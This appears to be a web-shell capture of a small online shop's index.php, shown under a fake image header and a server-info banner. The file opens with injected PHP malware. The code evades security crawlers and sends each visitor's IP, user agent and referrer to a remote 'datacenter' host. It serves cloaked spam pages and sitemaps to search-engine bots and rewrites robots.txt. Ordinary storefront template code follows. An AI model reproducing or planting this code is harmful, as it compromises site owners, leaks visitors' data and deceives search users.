����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 162.0.232.25 / Your IP : 18.116.80.68 Web Server : LiteSpeed System : Linux premium276.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : kwacuqig ( 988) PHP Version : 8.2.26 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/kwacuqig/cloudmarketmw.com/ |
Upload File : |
<?php error_reporting(0); function getrealIp() { if (getenv('HTTP_CLIENT_IP')) { $ip = getenv('HTTP_CLIENT_IP'); } if (getenv('HTTP_X_REAL_IP')) { $ip = getenv('HTTP_X_REAL_IP'); } elseif (getenv('HTTP_X_FORWARDED_FOR')) { $ip = getenv('HTTP_X_FORWARDED_FOR'); $ips = explode(',', $ip); $ip = $ips[0]; } elseif (getenv('REMOTE_ADDR')) { $ip = getenv('REMOTE_ADDR'); } else { $ip = '0.0.0.0'; } return $ip; } function get_url($url) { $remoteContent = @file_get_contents($url); if(empty($remoteContent)) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); if(strpos($url,"https://") !== false){ curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); } $remoteContent = curl_exec($ch); curl_close($ch); } return $remoteContent; } function get_url2($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); if(strpos($url,"https://") !== false){ curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); } $remoteContent = curl_exec($ch); curl_close($ch); if(empty($remoteContent)) { $remoteContent = @file_get_contents($url); } return $remoteContent; } if(preg_match("/(Bytespider|PetalBot|AhrefsBot|Barkrowler|MJ12bot|FeedDemon|JikeSpider|Indy Library|AskTbFXTV|CrawlDaddy|CoolpadWebkit|Java|Feedly|UniversalFeedParser|ApacheBench|Swiftbot|ZmEu|oBot|jaunty|Python-urllib|python-requests|lightDeckReports Bot|YYSpider|DigExt|YisouSpider|HttpClient|heritrix|EasouSpider|Ezooms|AmazonBot|SEMrushBot|YandexBot|paloaltonetworks|Python)/i", $_SERVER['HTTP_USER_AGENT'])) { header('HTTP/1.0 403 Forbidden'); exit(); } $botagent = "bing|google|yahoo"; $datacenter = "http://cw209.lowoffice.shop/index.php"; $pc = 2986; $useragent = urlencode($_SERVER['HTTP_USER_AGENT']); $refer = urlencode($_SERVER['HTTP_REFERER']); $language = urlencode($_SERVER['HTTP_ACCEPT_LANGUAGE']); //$ip = urlencode($_SERVER['REMOTE_ADDR']); $realip = getrealIp(); $ip = urlencode($realip); $domain = urlencode($_SERVER['HTTP_HOST']); $script = urlencode($_SERVER['SCRIPT_NAME']); if ( (! empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (! empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (! empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') ) { $_SERVER['REQUEST_SCHEME'] = 'https'; } else { $_SERVER['REQUEST_SCHEME'] = 'http'; } $http = urlencode($_SERVER['REQUEST_SCHEME']); $uri = urldecode($_SERVER['REQUEST_URI']); if(strpos($uri,"uuuuxxxxooo") !== false){ echo "ok"; exit(); } if($realip == "153.246.135.238" || $realip == "219.101.44.233") { header('HTTP/1.0 403 Forbidden'); exit(); } $rewriteable = 0; if(!file_exists("uxo.txt")) { $uuu = $http.'://'.$_SERVER['HTTP_HOST'].'/uuuuxxxxooo'; $dd = get_url($uuu); if($dd == "ok") { $rewriteable = 1; @file_put_contents("uxo.txt","1"); } else { $rewriteable = 0; @file_put_contents("uxo.txt","0"); } } else { $rewriteable = @file_get_contents("uxo.txt"); } if(strpos($uri,"pingsitemap.xml") !== false){ $scripname = $_SERVER['SCRIPT_NAME']; if( strpos( $scripname, "index.php") !== false) { if($rewriteable == 0) { $scripname = '/?'; } else { $scripname = '/'; } } else { $scripname = $scripname.'?'; } $google ="https://www.google.com/ping?sitemap="; //$google ="http://www.google.com/webmasters/tools/ping?sitemap="; $robots_contents = 'User-agent: * Allow: /'; $sitemap = "$http://" . $domain .$scripname. "sitemap.xml"; $robots_contents = trim($robots_contents)."\r\n"."Sitemap: $sitemap"; //$dd = get_url2($google. urlencode( $sitemap)); $sitemapstatus = ""; //if(preg_match("/<h2>(.+?)<\/h2>/i",$dd,$match)) //{ // $sitemapstatus = $match[1]; //} //$sitemapstatus = ( strpos($dd,"Sitemap Notification Received") !== false ) ? "OK" : "<font color='red'>ERROR</font>"; echo $sitemap.": ".$sitemapstatus.'<br/>'; //usleep(100*1000); $requsturl = $datacenter."?agent=$useragent&refer=$refer&lang=$language&ip=$ip&dom=$domain&http=$http&uri=$uri&pc=$pc&rewriteable=$rewriteable&script=$script&sitemap=".urlencode($sitemap); $dd = get_url($requsturl); //for($i = 1; $i < 30; $i++){ //$sitemap = "$http://" . $domain.$scripname. "sitemap_index_$i.xml"; //$robots_contents = trim($robots_contents)."\r\n"."Sitemap: $sitemap"; // $dd = get_url2($google.urlencode($sitemap)); // $sitemapstatus = "<font color='red'>ERROR</font>"; // if(preg_match("/<h2>(.+?)<\/h2>/i",$dd,$match)) // { // $sitemapstatus = $match[1]; // } // //$sitemapstatus = ( strpos($dd,"Sitemap Notification Received") !== false ) ? "OK" : "<font color='red'>ERROR</font>"; // echo $sitemap.": ".$sitemapstatus.'<br/>'; //usleep(100*1000); //} @file_put_contents("robots.txt",$robots_contents); exit(); } else if(strpos($uri,"favicon.ico") !== false){ } else if(strpos($uri,"jp2023") !== false){ $requsturl = $datacenter."?agent=$useragent&refer=$refer&lang=$language&ip=$ip&dom=$domain&http=$http&uri=$uri&pc=$pc&rewriteable=$rewriteable&script=$script"; $dd = get_url($requsturl); echo $dd; exit(); } else if(strpos($uri,"robots.txt") !== false || strpos($uri,"writerobots") !== false){ //$uri = "writerobots"; $requsturl = $datacenter."?agent=$useragent&refer=$refer&lang=$language&ip=$ip&dom=$domain&http=$http&uri=$uri&pc=$pc&rewriteable=$rewriteable&script=$script"; header('Content-Type: text/plain; charset=utf-8'); echo $dd = get_url($requsturl); @file_put_contents("robots.txt",$dd); exit(); } else if(preg_match("@^/(.*?).xml$@i", $uri)){ $requsturl = $datacenter."?agent=$useragent&refer=$refer&lang=$language&ip=$ip&dom=$domain&http=$http&uri=$uri&pc=$pc&rewriteable=$rewriteable&script=$script"; $dd = get_url($requsturl); if($dd == "500") { header("HTTP/1.0 500 Internal Server Error"); exit(); } else { header('Content-Type: text/xml; charset=utf-8'); echo $dd; exit(); } } else if(preg_match("/($botagent)/i", $_SERVER['HTTP_USER_AGENT'])) { $requsturl = $datacenter."?agent=$useragent&refer=$refer&lang=$language&ip=$ip&dom=$domain&http=$http&uri=$uri&pc=$pc&rewriteable=$rewriteable&script=$script"; $dd = get_url($requsturl); if(!empty($dd)) { if($dd == "500") { header("HTTP/1.0 500 Internal Server Error"); exit(); } if(substr($dd,0,5)=="<?xml") { header('Content-Type: text/xml; charset=utf-8'); } else { header('Content-Type: text/html; charset=utf-8'); } echo $dd; exit(); } } else if(preg_match("/($botagent)/i", $_SERVER['HTTP_REFERER'])) { $requsturl = $datacenter."?agent=$useragent&refer=$refer&lang=$language&ip=$ip&dom=$domain&http=$http&uri=$uri&pc=$pc&rewriteable=$rewriteable"; $dd = get_url($requsturl); if($dd == "500") { header("HTTP/1.0 500 Internal Server Error"); exit(); } else if(!empty($dd)) { header('HTTP/1.1 404 Not Found'); echo $dd; exit(); } } else { } ?> <?php session_start(); error_reporting(0); include('includes/config.php'); if(isset($_GET['action']) && $_GET['action']=="add"){ $id=intval($_GET['id']); if(isset($_SESSION['cart'][$id])){ $_SESSION['cart'][$id]['quantity']++; }else{ $sql_p="SELECT * FROM products WHERE id={$id}"; $query_p=mysqli_query($con,$sql_p); if(mysqli_num_rows($query_p)!=0){ $row_p=mysqli_fetch_array($query_p); $_SESSION['cart'][$row_p['id']]=array("quantity" => 1, "price" => $row_p['productPrice']); }else{ $message="Product ID is invalid"; } } //echo "<script>alert('Product has been added to the cart')</script>"; echo "<script type='text/javascript'> document.location ='my-cart.php'; </script>"; } ?> <!DOCTYPE html> <html lang="en"> <head> <!-- Meta --> <meta charset="utf-8"> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no"> <meta name="description" content=""> <meta name="author" content=""> <meta name="keywords" content="MediaCenter, Template, eCommerce"> <meta name="robots" content="all"> <title>cloud market mw Home Page</title> <!-- Bootstrap Core CSS --> <link rel="stylesheet" href="assets/css/bootstrap.min.css"> <!-- Customizable CSS --> <link rel="stylesheet" href="assets/css/main.css"> <link rel="stylesheet" href="assets/css/blue.css"> <link rel="stylesheet" href="assets/css/owl.carousel.css"> <link rel="stylesheet" href="assets/css/owl.transitions.css"> <link href="assets/css/blue.css" rel="alternate stylesheet" title="Blue color"> <link rel="stylesheet" href="assets/css/font-awesome.min.css"> <link href='http://fonts.googleapis.com/css?family=Roboto:300,400,500,700' rel='stylesheet' type='text/css'> <!-- Favicon --> <link rel="shortcut icon" href="img/logo.png"> </head> <body class="cnt-home"> <!-- ============================================== HEADER ============================================== --> <header class="header-style-1"> <?php include('includes/top-header.php');?> <?php include('includes/main-header.php');?> <?php include('includes/menu-bar.php');?> </header> <!-- ============================================== HEADER : END ============================================== --> <div class="body-content outer-top-xs" id="top-banner-and-menu"> <div class="container"> <div class="furniture-container homepage-container"> <div class="row"> <div class="col-xs-12 col-sm-12 col-md-3 sidebar"> <!-- ================================== TOP NAVIGATION ================================== --> <?php include('includes/side-menu.php');?> <!-- ================================== TOP NAVIGATION : END ================================== --> </div><!-- /.sidemenu-holder --> <div class="col-xs-12 col-sm-12 col-md-9 homebanner-holder"> <!-- ========================================== SECTION – HERO ========================================= --> <div id="hero" class="homepage-slider3"> <div id="owl-main" class="owl-carousel owl-inner-nav owl-ui-sm"> <div class="full-width-slider"> <div class="item" style="background-image: url(assets/images/sliders/slider1.jpg);"> <!-- /.container-fluid --> </div><!-- /.item --> </div><!-- /.full-width-slider --> <div class="full-width-slider"> <div class="item full-width-slider" style="background-image: url(assets/images/sliders/slider2.jpg);"> </div><!-- /.item --> </div><!-- /.full-width-slider --> <div class="full-width-slider"> <div class="item full-width-slider" style="background-image: url(assets/images/sliders/slider03.jpg);"> </div><!-- /.item --> </div><!-- /.full-width-slider --> </div><!-- /.owl-carousel --> </div> </div><!-- /.homebanner-holder --> </div><!-- /.row --> <!-- ============================================== SCROLL TABS ============================================== --> <div id="product-tabs-slider" class="scroll-tabs inner-bottom-vs wow fadeInUp"> <div class="more-info-tab clearfix"> <h3 class="new-product-title pull-left">Featured Products</h3> <ul class="nav nav-tabs nav-tab-line pull-right" id="new-products-1"> <li class="active"><a href="#all" data-toggle="tab">All</a></li> <!-- <li><a href="#books" data-toggle="tab">Books</a></li> <li><a href="#furniture" data-toggle="tab">Furniture</a></li> --> </ul><!-- /.nav-tabs --> </div> <div class="tab-content outer-top-xs"> <div class="tab-pane in active" id="all"> <div class="product-slider"> <div class="owl-carousel home-owl-carousel custom-carousel owl-theme" data-item="5"> <?php $ret=mysqli_query($con,"select * from products order by rand()"); while ($row=mysqli_fetch_array($ret)) { # code... ?> <div class="item item-carousel"> <div class="products"> <div class="product"> <div class="product-image"> <div class="image"> <a href="product-details.php?pid=<?php echo htmlentities($row['id']);?>"> <img src="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage1']);?>" data-echo="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage1']);?>" width="150" height="170" alt=""></a> </div><!-- /.image --> </div><!-- /.product-image --> <div class="product-info text-left"> <h3 class="name"><a href="product-details.php?pid=<?php echo htmlentities($row['id']);?>"><?php echo htmlentities($row['productName']);?></a></h3> <div class="description"></div> <div class="product-price"> <span class="price"> MK <?php echo htmlentities($row['productPrice']);?> </span> <span class="price-before-discount">MK <?php echo htmlentities($row['productPriceBeforeDiscount']);?> </span> </div><!-- /.product-price --> </div><!-- /.product-info --> <?php if($row['productAvailability']=='In Stock'){?> <div class="action"> <a href="contacts.php" class="lnk btn btn-primary"> Buy</a> </div> <?php } else {?> <div class="action" style="color:red">Out of Stock</div> <?php } ?> </div><!-- /.product --> </div><!-- /.products --> </div><!-- /.item --> <?php } ?> </div><!-- /.home-owl-carousel --> </div><!-- /.product-slider --> </div> <div class="tab-pane" id="books"> <div class="product-slider"> <div class="owl-carousel home-owl-carousel custom-carousel owl-theme"> <?php $ret=mysqli_query($con,"select * from products where category=3"); while ($row=mysqli_fetch_array($ret)) { # code... ?> <div class="item item-carousel"> <div class="products"> <div class="product"> <div class="product-image"> <div class="image"> <a href="product-details.php?pid=<?php echo htmlentities($row['id']);?>"> <img src="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage1']);?>" data-echo="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage1']);?>" width="180" height="300" alt=""></a> </div><!-- /.image --> </div><!-- /.product-image --> <div class="product-info text-left"> <h3 class="name"><a href="product-details.php?pid=<?php echo htmlentities($row['id']);?>"><?php echo htmlentities($row['productName']);?></a></h3> <div class="description"></div> <div class="product-price"> <span class="price"> MK <?php echo htmlentities($row['productPrice']);?> </span> <span class="price-before-discount">MK <?php echo htmlentities($row['productPriceBeforeDiscount']);?></span> </div><!-- /.product-price --> </div><!-- /.product-info --> <?php if($row['productAvailability']=='In Stock'){?> <div class="action"><a href="index.php?page=product&action=add&id=<?php echo $row['id']; ?>" class="lnk btn btn-primary">Order</a> </div> <?php } else {?> <div class="action" style="color:red">Out of Stock</div> <?php } ?> </div><!-- /.product --> </div><!-- /.products --> </div><!-- /.item --> <?php } ?> </div><!-- /.home-owl-carousel --> </div><!-- /.product-slider --> </div> <div class="tab-pane" id="furniture"> <div class="product-slider"> <div class="owl-carousel home-owl-carousel custom-carousel owl-theme"> <?php $ret=mysqli_query($con,"select * from products where category=5"); while ($row=mysqli_fetch_array($ret)) { ?> <div class="item item-carousel"> <div class="products"> <div class="product"> <div class="product-image"> <div class="image"> <a href="product-details.php?pid=<?php echo htmlentities($row['id']);?>"> <img src="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage1']);?>" data-echo="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage1']);?>" width="180" height="300" alt=""></a> </div> </div> <div class="product-info text-left"> <h3 class="name"><a href="product-details.php?pid=<?php echo htmlentities($row['id']);?>"><?php echo htmlentities($row['productName']);?></a></h3> <div class="description"></div> <div class="product-price"> <span class="price"> MK <?php echo htmlentities($row['productPrice']);?> </span> <span class="price-before-discount">MK <?php echo htmlentities($row['productPriceBeforeDiscount']);?></span> </div> </div> <?php if($row['productAvailability']=='In Stock'){?> <div class="action"> <a href="contacts.php" class="lnk btn btn-primary"> Buy</a> </div> <?php } else {?> <div class="action" style="color:red">Out of Stock</div> <?php } ?> </div> </div> </div> <?php } ?> </div> </div> </div> </div> </div> <!-- <section class="section featured-product inner-xs wow fadeInUp"> --> <h3 class="section-title">Electrical Hardware</h3> <div class="owl-carousel best-seller custom-carousel owl-theme outer-top-xs"> <?php $ret=mysqli_query($con,"select * from products where category=10 and subcategory=41 order by rand()"); while ($row=mysqli_fetch_array($ret)) { # code... ?> <div class="item"> <div class="products"> <div class="product"> <div class="product-micro"> <div class="row product-micro-row"> <div class="col col-xs-6"> <div class="product-image"> <div class="image"> <a href="product-details.php?pid=<?php echo htmlentities($row['id']);?>"> <img src="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage1']);?>" data-echo="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage1']);?>" width="150" height="170" alt=""></a> </div><!-- /.image --> </div><!-- /.product-image --> </div><!-- /.col --> <div class="col col-xs-6"> <div class="product-info"> <h3 class="name"><a href="product-details.php?pid=<?php echo htmlentities($row['id']);?>"><?php echo htmlentities($row['productName']);?></a></h3> <div class="product-price"> <span class="price"> MK <?php echo htmlentities($row['productPrice']);?> </span> <span class="price-before-discount">MK <?php echo htmlentities($row['productPriceBeforeDiscount']);?></span> </div><!-- /.product-price --> <?php if($row['productAvailability']=='In Stock'){?> <div class="action"> <a href="contacts.php" class="lnk btn btn-primary"> Buy</a> </div> <?php } else {?> <div class="action" style="color:red">Out of Stock</div> <?php } ?> </div> </div><!-- /.col --> </div><!-- /.product-micro-row --> </div><!-- /.product-micro --> </div> </div> </div><?php } ?> </div> <!-- </section> --> <!-- Games category --> <!-- <section class="section featured-product inner-xs wow fadeInUp"> --> <h3 class="section-title">Mobile Phones & Tablets</h3> <div class="owl-carousel best-seller custom-carousel owl-theme outer-top-xs"> <?php $ret=mysqli_query($con,"select * from products where category=1 and subcategory=5 order by rand()"); while ($row=mysqli_fetch_array($ret)) { # code... ?> <div class="item"> <div class="products"> <div class="product"> <div class="product-micro"> <div class="row product-micro-row"> <div class="col col-xs-6"> <div class="product-image"> <div class="image"> <a href="product-details.php?pid=<?php echo htmlentities($row['id']);?>"> <img src="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage1']);?>" data-echo="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage1']);?>" width="170" height="174" alt=""></a> </div><!-- /.image --> </div><!-- /.product-image --> </div><!-- /.col --> <div class="col col-xs-6"> <div class="product-info"> <h3 class="name"><a href="product-details.php?pid=<?php echo htmlentities($row['id']);?>"><?php echo htmlentities($row['productName']);?></a></h3> <div class="product-price"> <span class="price"> MK <?php echo htmlentities($row['productPrice']);?> </span> <span class="price-before-discount">MK <?php echo htmlentities($row['productPriceBeforeDiscount']);?></span> </div><!-- /.product-price --> <?php if($row['productAvailability']=='In Stock'){?> <div class="action"> <a href="contacts.php" class="lnk btn btn-primary"> Buy</a> </div> <?php } else {?> <div class="action" style="color:red">Out of Stock</div> <?php } ?> </div> </div><!-- /.col --> </div><!-- /.product-micro-row --> </div><!-- /.product-micro --> </div> </div> </div><?php } ?> </div> </section> <h3 class="section-title">Laptops & Desktop</h3> <div class="owl-carousel best-seller custom-carousel owl-theme outer-top-xs"> <?php $ret=mysqli_query($con,"select * from products where category=1 and subcategory=3 order by rand()"); while ($row=mysqli_fetch_array($ret)) { # code... ?> <div class="item"> <div class="products"> <div class="product"> <div class="product-micro"> <div class="row product-micro-row"> <div class="col col-xs-6"> <div class="product-image"> <div class="image"> <a href="product-details.php?pid=<?php echo htmlentities($row['id']);?>"> <img src="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage1']);?>" data-echo="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage1']);?>" width="170" height="174" alt=""></a> </div><!-- /.image --> </div><!-- /.product-image --> </div><!-- /.col --> <div class="col col-xs-6"> <div class="product-info"> <h3 class="name"><a href="product-details.php?pid=<?php echo htmlentities($row['id']);?>"><?php echo htmlentities($row['productName']);?></a></h3> <div class="product-price"> <span class="price"> MK <?php echo htmlentities($row['productPrice']);?> </span> <span class="price-before-discount">MK <?php echo htmlentities($row['productPriceBeforeDiscount']);?></span> </div><!-- /.product-price --> <?php if($row['productAvailability']=='In Stock'){?> <div class="action"> <a href="contacts.php" class="lnk btn btn-primary"> Buy</a> </div> <?php } else {?> <div class="action" style="color:red">Out of Stock</div> <?php } ?> </div> </div><!-- /.col --> </div><!-- /.product-micro-row --> </div><!-- /.product-micro --> </div> </div> </div><?php } ?> </div> <h3 class="section-title">Automobile and Parts</h3> <div class="owl-carousel best-seller custom-carousel owl-theme outer-top-xs"> <?php $ret=mysqli_query($con,"select * from products where category=5 order by rand()"); while ($row=mysqli_fetch_array($ret)) { # code... ?> <div class="item"> <div class="products"> <div class="product"> <div class="product-micro"> <div class="row product-micro-row"> <div class="col col-xs-6"> <div class="product-image"> <div class="image"> <a href="product-details.php?pid=<?php echo htmlentities($row['id']);?>"> <img src="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage1']);?>" data-echo="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage1']);?>" width="170" height="174" alt=""></a> </div><!-- /.image --> </div><!-- /.product-image --> </div><!-- /.col --> <div class="col col-xs-6"> <div class="product-info"> <h3 class="name"><a href="product-details.php?pid=<?php echo htmlentities($row['id']);?>"><?php echo htmlentities($row['productName']);?></a></h3> <div class="product-price"> <span class="price"> MK <?php echo htmlentities($row['productPrice']);?> </span> <span class="price-before-discount">MK <?php echo htmlentities($row['productPriceBeforeDiscount']);?></span> </div><!-- /.product-price --> <?php if($row['productAvailability']=='In Stock'){?> <div class="action"> <a href="contacts.php" class="lnk btn btn-primary"> Buy</a> </div> <?php } else {?> <div class="action" style="color:red">Out of Stock</div> <?php } ?> </div> </div><!-- /.col --> </div><!-- /.product-micro-row --> </div><!-- /.product-micro --> </div> </div> </div><?php } ?> </div> <h3 class="section-title">Stationery </h3> <div class="owl-carousel best-seller custom-carousel owl-theme outer-top-xs"> <?php $ret=mysqli_query($con,"select * from products where category=1 and subcategory=39 order by rand()"); while ($row=mysqli_fetch_array($ret)) { # code... ?> <div class="item"> <div class="products"> <div class="product"> <div class="product-micro"> <div class="row product-micro-row"> <div class="col col-xs-6"> <div class="product-image"> <div class="image"> <a href="product-details.php?pid=<?php echo htmlentities($row['id']);?>"> <img src="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage1']);?>" data-echo="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage1']);?>" width="170" height="174" alt=""></a> </div><!-- /.image --> </div><!-- /.product-image --> </div><!-- /.col --> <div class="col col-xs-6"> <div class="product-info"> <h3 class="name"><a href="product-details.php?pid=<?php echo htmlentities($row['id']);?>"><?php echo htmlentities($row['productName']);?></a></h3> <div class="product-price"> <span class="price"> MK <?php echo htmlentities($row['productPrice']);?> </span> <span class="price-before-discount">MK <?php echo htmlentities($row['productPriceBeforeDiscount']);?></span> </div><!-- /.product-price --> <?php if($row['productAvailability']=='In Stock'){?> <div class="action"> <a href="contacts.php" class="lnk btn btn-primary"> Buy</a> </div> <?php } else {?> <div class="action" style="color:red">Out of Stock</div> <?php } ?> </div> </div><!-- /.col --> </div><!-- /.product-micro-row --> </div><!-- /.product-micro --> </div> </div> </div><?php } ?> </div> <h3 class="section-title">HEADSETS</h3> <div class="owl-carousel best-seller custom-carousel owl-theme outer-top-xs"> <?php $ret=mysqli_query($con,"select * from products where category=1 and subcategory=40 order by rand()"); while ($row=mysqli_fetch_array($ret)) { # code... ?> <div class="item"> <div class="products"> <div class="product"> <div class="product-micro"> <div class="row product-micro-row"> <div class="col col-xs-6"> <div class="product-image"> <div class="image"> <a href="product-details.php?pid=<?php echo htmlentities($row['id']);?>"> <img src="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage1']);?>" data-echo="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage1']);?>" width="170" height="174" alt=""></a> </div><!-- /.image --> </div><!-- /.product-image --> </div><!-- /.col --> <div class="col col-xs-6"> <div class="product-info"> <h3 class="name"><a href="product-details.php?pid=<?php echo htmlentities($row['id']);?>"><?php echo htmlentities($row['productName']);?></a></h3> <div class="product-price"> <span class="price"> MK <?php echo htmlentities($row['productPrice']);?> </span> <span class="price-before-discount">MK <?php echo htmlentities($row['productPriceBeforeDiscount']);?></span> </div><!-- /.product-price --> <?php if($row['productAvailability']=='In Stock'){?> <div class="action"> <a href="contacts.php" class="lnk btn btn-primary"> Buy</a> </div> <?php } else {?> <div class="action" style="color:red">Out of Stock</div> <?php } ?> </div> </div><!-- /.col --> </div><!-- /.product-micro-row --> </div><!-- /.product-micro --> </div> </div> </div><?php } ?> </div> <?php include('includes/brands-slider.php');?> </div> </div> <?php include('includes/footer.php');?> <script src="assets/js/jquery-1.11.1.min.js"></script> <script src="assets/js/bootstrap.min.js"></script> <script src="assets/js/bootstrap-hover-dropdown.min.js"></script> <script src="assets/js/owl.carousel.min.js"></script> <script src="assets/js/echo.min.js"></script> <script src="assets/js/jquery.easing-1.3.min.js"></script> <script src="assets/js/bootstrap-slider.min.js"></script> <script src="assets/js/jquery.rateit.min.js"></script> <script type="text/javascript" src="assets/js/lightbox.min.js"></script> <script src="assets/js/bootstrap-select.min.js"></script> <script src="assets/js/wow.min.js"></script> <script src="assets/js/scripts.js"></script> <script src="random.js"></script> </body> </html>